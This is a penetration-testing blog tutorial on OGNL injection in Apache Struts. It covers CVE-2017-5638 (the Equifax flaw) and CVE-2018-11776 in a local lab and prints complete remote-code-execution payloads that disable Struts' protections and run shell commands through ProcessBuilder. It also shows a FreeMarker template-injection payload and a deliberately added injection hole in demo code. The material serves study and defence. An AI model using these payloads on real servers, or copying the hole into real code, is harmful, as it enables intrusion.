Pentest-Tools Blog

Articles, news, tips and tricks from pentesting and infosec

Exploiting OGNL Injection in Apache Struts

Mar 14, 2019 • Ionut Popescu

Let’s understand how OGNL Injection works in Apache Struts. We’ll exemplify with two critical vulnerabilities in Struts: CVE-2017-5638 (Equifax breach) and CVE-2018-11776.

Apache Struts is a free, open-source framework for creating elegant, modern Java web applications. It has its share of critical vulnerabilities, with one of its features, OGNL – Object-Graph Navigation Language, being at the core of many of them.

One such vulnerability (CVE-2017-5638) has facilitated the Equifax breach in 2017 that exposed personal information of more thann 145 million US citizens. Despite being a company with over 3 billion dollars in annual revenue, it was hacked via a known vulnerability in the Apache Struts model-view-controller (MVC) framework.

This article offers a light introduction into Apache Struts, then it will guide you through modifying a simple application, the use of OGNL, and exploiting it. Next, it will dive into some public exploits targeting the platform and using OGNL Injection flaws to understand this class of vulnerabilities.

Even if Java developers are familiar with Apache Struts, the same is often not true in the security community. That is why we have created this blog post.


Feel free to use the menu below to skip to the section of interest.

  1. Install Apache Tomcat server (Getting started)
  2. Get familiar with how Java apps work on a server (Web Server Basics)
  3. A look at a Struts app (Struts application example)
  4. Expression Language Injection (Expression Language injection)
  5. Understanding OGNL injection (Object-Graph Navigation Language injection)
  6. CVE-2017-5638 root cause (CVE-2017-5638 root cause)
  7. CVE-2018-11776 root cause (CVE-2018-11776 root cause)
  8. Explanation of the OGNL injection payloads (Understanding OGNL injection payloads)

Getting started

Running a vulnerable Struts application requires the installation of Apache Tomcat web server. The latest version of the package is available for download from here as a ZIP archive. Extract the binary to a location of your choice (we used /var/tomcat) and proceed:

cd /var/tomcat/bin # Go to the extracted folder
chmod +x *.sh      # Set scripts as executable
./       # Run the startup script

Go to http://localhost:8080/ and check if it’s running.

If it does, we’re ready to download an old version of Apache Struts framework that is vulnerable to the exploits we want to demonstrate. This page offers Struts version 2.3.30 that fits our needs.

After extracting the contents of the archive, you should have the file struts2-showcase.war under /apps location. This is a compiled and ready to deploy demo application that uses Struts. Just copy the WAR file to /var/tomcat/webapps and go to http://localhost:8080/struts2-showcase/showcase.action to check if it works.

Web Server Basics

If you have a good grasp of the simple concepts related to Java web apps, such as servlets, you’re ahead. If you don’t know anything about Java servlet, suffice to say that they are components whose purpose is to create web containers for hosting web applications on web servers; they also handle requests to Java apps like /struts2-showcase.

To handle the servlets, the web server (e.g. Apache Tomcat) needs some components:

  • Apache Coyote is the Connector that supports the HTTP/1.1 protocol. It allows the communication with the servlet container component, Apache Catalina.
  • Apache Catalina container is the one determining which servlets need to be called when Tomcat receives HTTP requests. It also converts the HTTP requests and responses from text to Java objects which are used by the servlets.

You can find here all the details about Java servlet specification (latest version is 4.0).

Apache Struts Basics

Like Java web apps, the apps that use the Apache Struts framework can have multiple servlets. Full understanding of this framework to build web apps is not the scope of this article, which only scratches the surface to grasp the basic concepts. You can expand your knowledge on the topic with a step-by-step tutorial.

Apache Struts framework relies on the MVC (Model-View-Controller) architectural pattern. It is useful for applications because it is possible to separate major application components:

  • Model – Represents the application data, for example a class that works with data such as “Orders”
  • View – Is the output of the application, the visual part
  • Controller – Receives the user input, uses the Model in order to generate a View
  • Actions - The Model in Apache Struts
  • Interceptors - Part of the Controller, these are hooks that can be called before or after processing a request
  • Value Stack / OGNL - A stack of objects, such as Model or Action objects
  • Results / Result types – Used to choose a View after business logic
  • View technologies - Deals with how data is displayed

Below you can see the general architecture of an Apache Struts web application:

The Controller receives an HTTP request and the FilterDispatcher is responsible with invoking the right action based on the request. The action is then executed and the View component prepares the result and sends it to the user in the HTTP response.

Struts application example

Writing from scratch a Struts app takes some time, so we’re going to use one that is already available, rest-showcase demo application, which is a simple REST API with a basic frontend. To compile the application, we have just to cd into its directory and build it using Maven:

cd struts-2.3.30/src/apps/rest-showcase/
mvn package

In the target directory we should find the following file: struts2-rest-showcase.war. You can install it by copying it to the webapps directory of Tomcat server, such as /var/tomcat/webapps.

Here is the source code of the app:

Here’s an explanation of the files available:

  1. is the Model. It is a Java class that stores order information.
    public class Order {
     String id;
     String clientName;
     int amount;
  2. is a helper class that stores the Orders in a HashMap and manages them.
    public class OrdersService {
     private static Map<String,Order> orders = new HashMap<String,Order>();
  3. and are the Controllers or the Actions of the Struts application.
  4. We can also see multiple JSP files which represent the Views.
  5. And configuration files such as web.xml and struts.xml.

Server-side templates and injection

JSP enables the generation of dynamic HTML code by mixing static HTML with the dynamic code that is executed on the server. Similar to PHP, it is possible to mix Java and HTML code. Below is an example:

         <li><p><b>First Name:</b>
            <%= request.getParameter("first_name")%>
         <li><p><b>Last  Name:</b>
            <%= request.getParameter("last_name")%>

As shown in the snippet above, we can use the request object with HTML code and call the getParameter function that returns the values for parameters first_name and last_name.

To follow the MVC design pattern and avoid complex mixes between View (JSP) and Model/Controller (Java), it is possible to use Expression Language in JSP files. This is a special programming language that enables the View to communicate with the Java application:

   Box Perimeter is: ${2*box.width + 2*box.height}

This functionality also goes by the name Server-Side Template because it permits the creation of HTML templates on the server for easy management of the HTML and Java code mix. Multiple server-side template engines are available, such as FreeMarker, Velocity or Thymeleaf.

At this point, we not only have Java in the backend, but also some special sort-of programming language via the template engines, and this can be the proper ground for Server-Side Template Injection vulnerabilities.

Just like with other vulnerabilities, the problems occur when the template engine parses or interprets user-supplied data. Since their practicality lies in the many features they provide, template engines often include a method for calling functions, and this opens the door to executing operating system commands.

Check this example using the FreeMarker template engine:

<#if animals.python.price == 0>
Pythons are free today!

In the code above there is a dynamically-generated title and a message display if a condition is met.

What an attacker can do is print dynamic content, which could be sensitive information like the application configuration data. Furthermore, if the template engine allows it, an attacker could execute Operating System commands. How? By abusing the functionality of the template engine. Below is an example for FreeMarker:

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }

Expression Language Injection

Expression Language is used to create Server-Side Templates and because of this it can be regarded as a Server-Side Template engine as well. But since it also fulfills other purposes, vulnerabilities in it are not strictly an injection type. Here are some examples:

${mySuit == "hearts"}
${customer.age + 20}

A user may be able to execute user-provided Expression Language code, so this means that apps can be vulnerable to Expression Language Injection. As this paper explains, because the ${EL} syntax is used, Expression Language flaws are easy to find. For instance, a simple mathematical operation, such as ${9999+1} will be evaluated to 10000, which might be visible in the response.

Even if this is not very useful for an attacker, practical information may be retrieved using the default scopes of the expression language, such as ${applicationScope} or ${requestScope}.

Taking it further, Expression Language injection can allow session object modification and elevate a user’s privileges to admin level:


In the end, it might be even possible to get Remote Code Execution, using something like this:


Preventing this sort of vulnerability is possible by denying user-supplied input into expression language parsing functions, keeping all dependencies updated, and even by properly escaping #{ and ${ sequences from user input if possible.

Object-Graph Navigation Language injection

Object-Graph Navigation Language (OGNL) is an open-source Expression Language for Java. OGNL’s primary function is to get and set object properties: “Most of what you can do in Java, is possible in OGNL.”

If we were to work with orders, as described below,

public class Order {
String id;
String clientName;
int amount;
… }

direct access to order properties is possible in the JSP file, as follows:

<!DOCTYPE html>
<%@taglib prefix="s" uri="/struts-tags" %>
<s:form method="post" action=`**`%{#request.contextPath}/orders/%{id}`**` cssClass="form-horizontal" theme="simple">
<s:hidden name="_method" value="put" />`

`<s:textfield id=`**`"id"`**` name="id" disabled="true" cssClass="form-control"/>`

`<s:textfield id=`**`"clientName"`**` name="clientName" cssClass="form-control"/>`

`<s:textfield id=`**`"amount"`**` name="amount" cssClass="form-control" />
<s:submit cssClass="btn btn-primary"/>

OGNL expressions are evaluated using %{code} and ${code} sequences. As mentioned in its documentation, OGNL allows the following:

  • Access properties such as name or headline.text
  • Call methods such as toCharArray()
  • Access elements from arrays such as listeners[0]
  • Or even combine them: name.toCharArray()[0].numericValue.toString()

It is also possible to use variables (#var = 99), create arrays (new int[] { 1, 2, 3 }) or maps (#@java.util.LinkedHashMap@{ "foo" : "foo value", "bar" : "bar value" }), and even access static fields (@class@field or call static methods: @class@method(args)).

OGNL is a powerful language but treating user-supplied input as OGNL in Apache Struts could impact security. Let’s take a simple example and introduce a vulnerability ourselves in the rest-showcase application.

We have getters and setters for all Order properties, such as:

public String getClientName() {
return clientName;
public void setClientName(String clientName) {
this.clientName = clientName;

Modifying the setter to make it vulnerable to OGNL Injection is possible by importing three additional packages and calling TextParseUtil.translateVariables method, which will then evaluate it. In our case, the modification checks the value in the clientName parameter.

import com.opensymphony.xwork2.ActionContext;
import com.opensymphony.xwork2.util.TextParseUtil;
import com.opensymphony.xwork2.util.reflection.ReflectionContextState;
public void setClientName(String clientName) {
ReflectionContextState.`**`setDenyMethodExecution`**`(ActionContext.getContext().getContextMap(), false);`

`this.clientName = `**`TextParseUtil.translateVariables`**`(clientName, ActionContext.getContext().getValueStack());

The translateVariables method reaches the following code:

TextParser parser = ((Container)stack.getContext().get(ActionContext.CONTAINER)).getInstance(TextParser.class);
return `**parser.evaluate**`(openChars, expression, ognlEval, maxLoopCount);

This will evaluate the OGNL expression (

Next, we can recompile the application, start it and try to exploit the vulnerability in the clientName parameter. The easiest way to test this is to use a simple mathematical operation, such as %{999+1}.

After modifying the order, the client name will be parsed as OGNL, confirmed by successful execution of the mathematical operation.

Now that we know that the parameter is vulnerable, we can use it in tests. One thing to note is that before calling translateVariables function, we call setDenyMethodExecution. This is necessary because when setting values of parameters, as we do here, the method execution is denied as a protection measure, and we will not be able to execute any method.

If during exploitation phase you encounter the vulnerability in a similar place, it is possible to enable method execution directly from the payload before any method call:


Thank you mmolgtm for pointing this out!

Debugging Java applications

Running a Java application in the IDE’s built-in debugger improves understanding both of the application and the vulnerability as it provides a clear, step-by-step view of how an exploit works.

The advantages that come with debugging the vulnerable application include the ability to set breakpoints anywhere in the code, and inspecting and modifying all the variables.

Working with old Java applications, such as Struts 2.3.30 may require changing some settings to allow compiling and running it in the debugger. Below are some suggestions:

  1. Go to Run > Debug > Edit Configuration
  2. Click + and select Maven
  3. Specify the working directory by selecting the Maven project, such as rest-showcase
  4. Specify the following command line: jetty:run -f pom.xml (Jetty is a web server)

Setting a breakpoint on setClientName method is easy now: open the browser at, select Edit for one of the orders and press Submit to edit the order. This should trigger the call to the setClientName and hit the breakpoint.

CVE-2017-5638 root cause

CVE-2017-5638 is the most publicized vulnerability in Struts, mainly because it was used for the Equifax data breach. The security community took a close look at it, and here are just two examples.

An exploit is available from Exploit-DB - download and run it:

python http://localhost:8080/struts2-showcase/showcase.action "touch /tmp/pwned"
[*] CVE: 2017-5638 - Apache Struts2 S2-045
[*] cmd: touch /tmp/pwned

The result should be a file created in the “/tmp/pwned” location:

The issue with CVE-2017-5638 is that the framework and the app using it are not required to do anything, it represents the worst case.

The debugger is the quickest way to learn the origin of the vulnerability. Use it to place a breakpoint on translateVariables method which will be called by exploiting this vulnerability and just run the public exploit.

python 'ls -la /'

This offers a look at the full stack trace including all the data required. Below is the result:

If we go through the stack, we can get a clear view of what is happening.

  1. It processes the request in doFilter(…) method which calls the prepare.wrapRequest(request); method
  2. The wrapRequest calls dispatcher.wrapRequest(request);
  3. And in this method, we can find something interesting:

String content_type = request.getContentType(); if (content_type != null && content_type.contains("multipart/form-data")) {

request = new MultiPartRequestWrapper(mpr, request, getSaveDir(), provider, disableRequestAttributeValueStackLookup);`
} else {
request = new StrutsRequestWrapper(request, disableRequestAttributeValueStackLookup);

If the Content-Type header of the request contains the multipart/form-data string, the framework will use MultiPartRequestWrapper class.

  1. Next, the request is parsed: multi.parse(request, saveDir);
  2. This method tries to parse the request, but it will throw an exception when it finds that the Content-Type is invalid:

if ((null == contentType) || (!contentType.toLowerCase(Locale.ENGLISH).startsWith(MULTIPART))) { throw new InvalidContentTypeException( format("the request doesn't contain a %s or %s stream, content type header is %s", MULTIPART_FORM_DATA, MULTIPART_MIXED, contentType));

  1. This exception results in a call to buildErrorMessage that executes the following method: LocalizedTextUtil.findText (this.getClass(), errorKey, defaultLocale, e.getMessage(), args); (where e.getMessage() is the error message that contains the exploit)
  2. This leads to a call to return findText(aClass, aTextName, locale, defaultMessage, args, valueStack);

  3. and then a call to result = getDefaultMessage(aTextName, locale, valueStack, args, defaultMessage);

  4. Next, there will be a call that will execute the exception: MessageFormat mf = buildMessageFormat(TextParseUtil.translateVariables(message, valueStack), locale);
  5. and “translateVariables” method that will execute the exception: the request doesn’t contain a multipart/form-data or multipart/mixed stream, content type header is %{(#_=’multipart/form-data’).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)…

In the end, the general idea is simple: an invalid Content-Type header with an OGNL expression triggers CVE-2017-5638. For some reason, the exception message with the OGNL expression is parsed.

CVE-2018-11776 root cause

To exploit this vulnerability, we need Struts 2.5.16, available in ZIP format here. As described here or here, leveraging it successfully is possible under a custom configuration:

  1. Go to struts-2.5.16 directory: cd struts-2.5.16/
  2. And search for the following file struts-actionchaining.xml: find . -name struts-actionchaining.xml
  3. Edit the XML file, such as ./src/apps/showcase/src/main/resources/struts-actionchaining.xml
  4. And modify the <struts> tag to have the following value:
	<package name="actionchaining" extends="struts-default">
	<action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1">
		<result type="redirectAction">
			<param name = "actionName">register2</param>

This allows us to use the struts2-showcase application as the target. The following steps are necessary to compile it:

  1. cd src/apps/showcase/ # Go to Showcase directory
  2. mvn package -DskipTests=true # Compile it (and skip tests)
  3. cp target/struts2-showcase.war /var/tomcat/webapps/ # Copy to Tomcat

Now we can check if the application is vulnerable by loading the following in the web browser:**${22+22}**/actionChain1.action

We should get a redirect to

A working exploit including plenty of technical implementation details is available here. To take advantage of the vulnerability, we used the exploit written in C.

We need to send two requests with the payloads below encoded in the URL:

  1. ${(#_=#attr['struts.valueStack']).(#context=#_.getContext()).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}

  2. ${(#_=#attr['struts.valueStack']).(#context=#_.getContext()).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#context.setMemberAccess(#dm)).( java.lang.ProcessBuilder({'bash','-c',**'xcalc'**})).(#p.start())}

Exploitation occurs like this:


And the expected result should be popping the calculator app:

Taking a look at the payload in the debugger helps understand why it works. Note that the ${2+4}in the string /struts2-showcase/${2+4}/actionChain1.action is called namespace in Struts, and actionChain1 is the action.

  1. Calling the execute(ActionInvocation invocation) method has the following effect:
if (namespace == null) {
	namespace = invocation.getProxy().getNamespace(); // namespace is “/${2+4}”
String tmpLocation = actionMapper.getUriFromActionMapping(new ActionMapping(actionName, namespace, method, null));
setLocation(tmpLocation); // tmpLocation is “/${2+4}/register2.action”
  1. The execute method also calls super.execute(invocation);
  2. And then this method is called:
Implementation of the `execute` method from the `Result` interface. This will call the abstract method
{@link #doExecute(String, ActionInvocation)} after optionally evaluating the location as an OGNL evaluation

public void execute(ActionInvocation invocation) throws Exception {
	lastFinalLocation = conditionalParse(location, invocation);
	doExecute(lastFinalLocation, invocation);
  1. The conditionalParse method parses the parameters (the location which was set before using setLocation method in the first step) for OGNL expressions:
Parses the parameter for OGNL expressions against the valuestack

protected String conditionalParse(String param, ActionInvocation invocation) {
	if (parse && param != null && invocation != null) {
		return TextParseUtil.translateVariables(
			new EncodingParsedValueEvaluator());

The result is the possibility to execute arbitrary OGNL expressions. More details on the issue are here and here. The gist of it is that when action chaining is used, the namespace coming from the user is OGNL parsed.

Understanding OGNL injection payloads

If you wonder why the payloads in public exploits are not like this: %{@java.lang.Runtime@getRuntime().exec('command')}, there are two reasons for it. One refers to the protection mechanisms implemented by the Struts maintainers, and the other relates to functionality (reading the output of the command or make it cross-platform).

Useful details are available on this page, but here is a short summary:

  1. The SecurityMemberAccess class, available during payload execution as _memberAccess, decides what OGNL can do, but there is the option to use the more permissive DefaultMemberAccess class.
  2. Another protection is blacklisting classes and package names.
  3. A different mitigation may be a restriction to call static methods - this is possible through the allowStaticMethodAccess field of the _memberAccess class.

CVE-2017-5638 and CVE-2018-11776 payloads:

(#cmd='/usr/bin/touch /tmp/pwned').(#iswin=@java.lang.System@getProperty('').toLowerCase().contains('win'))).
(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).
  1. #_=’multipart/form-data’ – a random variable, needed because the multipart/form-data string is necessary in our payload to trigger the vulnerability
  2. #dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS – create the dm variable with the value of DefaultMemberAccess (more permissive than SecurityMemberAccess)
  3. #_memberAccess?(#_memberAccess=#dm) – if the _memberAccess class exists, we replace it with the DefaultMemberAccess from dm variable
  4. #container=#context[‘com.opensymphony.xwork2.ActionContext.container’] – get the container from the context; necessary at a later time
  5. #ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class) – and use it to get an instance of the OgnlUtil class (we cannot do it directly because it is blacklisted - the full list is at ./src/core/src/main/resources/struts-default.xml)
  6. #ognlUtil.getExcludedPackageNames().clear() – clear the excluded package names
  7. #ognlUtil.getExcludedClasses().clear() – clear the excluded classes
  8. #context.setMemberAccess(#dm) – set the DefaultMemberAccess to the current context
  9. #cmd=’/usr/bin/touch /tmp/pwned’ – define the command we want to execute
  10. #iswin=(@java.lang.System@getProperty(‘’).toLowerCase().contains(‘win’)) – save in a variable if the app runs on Windows (cross-platform exploit)
  11. #cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd}) – specify how to execute the commands based on the Operating System (cmd.exe or bash)
  12. #p=new java.lang.ProcessBuilder(#cmds) – use the ProcessBuilder class to run the command (argument)
  13. #p.redirectErrorStream(true) – it might be also useful to see the error output of the command
  14. #process=#p.start() – execute the command
  15. #ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()) – get the output stream of the response to send data back to the user
  16.,#ros) – get the output of the executed command
  17. #ros.flush() – flush to make sure we send all the data

Exploiting CVE-2018-11776 has some differences:

  1. #_=#attr[‘struts.valueStack’] – uses attr to get the ValueStack
  2. #context=#_.getContext() – which is then used to get the context
  3. #container=#context[‘com.opensymphony.xwork2.ActionContext.container’] – to get the container
  4. #ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class) – get a reference to the OgnlUtil class
  5. #ognlUtil.setExcludedClasses(‘’) – clear the excluded classes
  6. #ognlUtil.setExcludedPackageNames(‘’) – clear excluded package names
  7. #dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS – define the variable dm with the value DefaultMemberAccess
  8. #context.setMemberAccess(#dm) – set the DefaultMemberAccess instead of SecurityMemberAccess
  9. – not used
  10. #p=new java.lang.ProcessBuilder({‘bash’,’-c’,’xcalc’}) – declare the ProcessBuilder with the command (xcalc)
  11. #p.start() – execute the command


Despite being a well-known and widely-used framework, Apache Struts can still be an easy target because of the lack of public security research. The most useful public research knowledge on the topic is available on the LGTM blog.

OGNL Injection vulnerabilities affect multiple versions of Apache Struts and are a great example of how to get to Remote Code Execution by abusing existing functionalities in the code.

Exploitation may appear difficult at first, but it really isn’t, and a debugger will always help. Getting familiar with Java may be tough for security researchers, but this will turn into an advantage in the end.

With all new research, patience is the most valuable quality. Our advice is not to throw your toys when things get tough. And always ask questions - the security community is nice and helpful.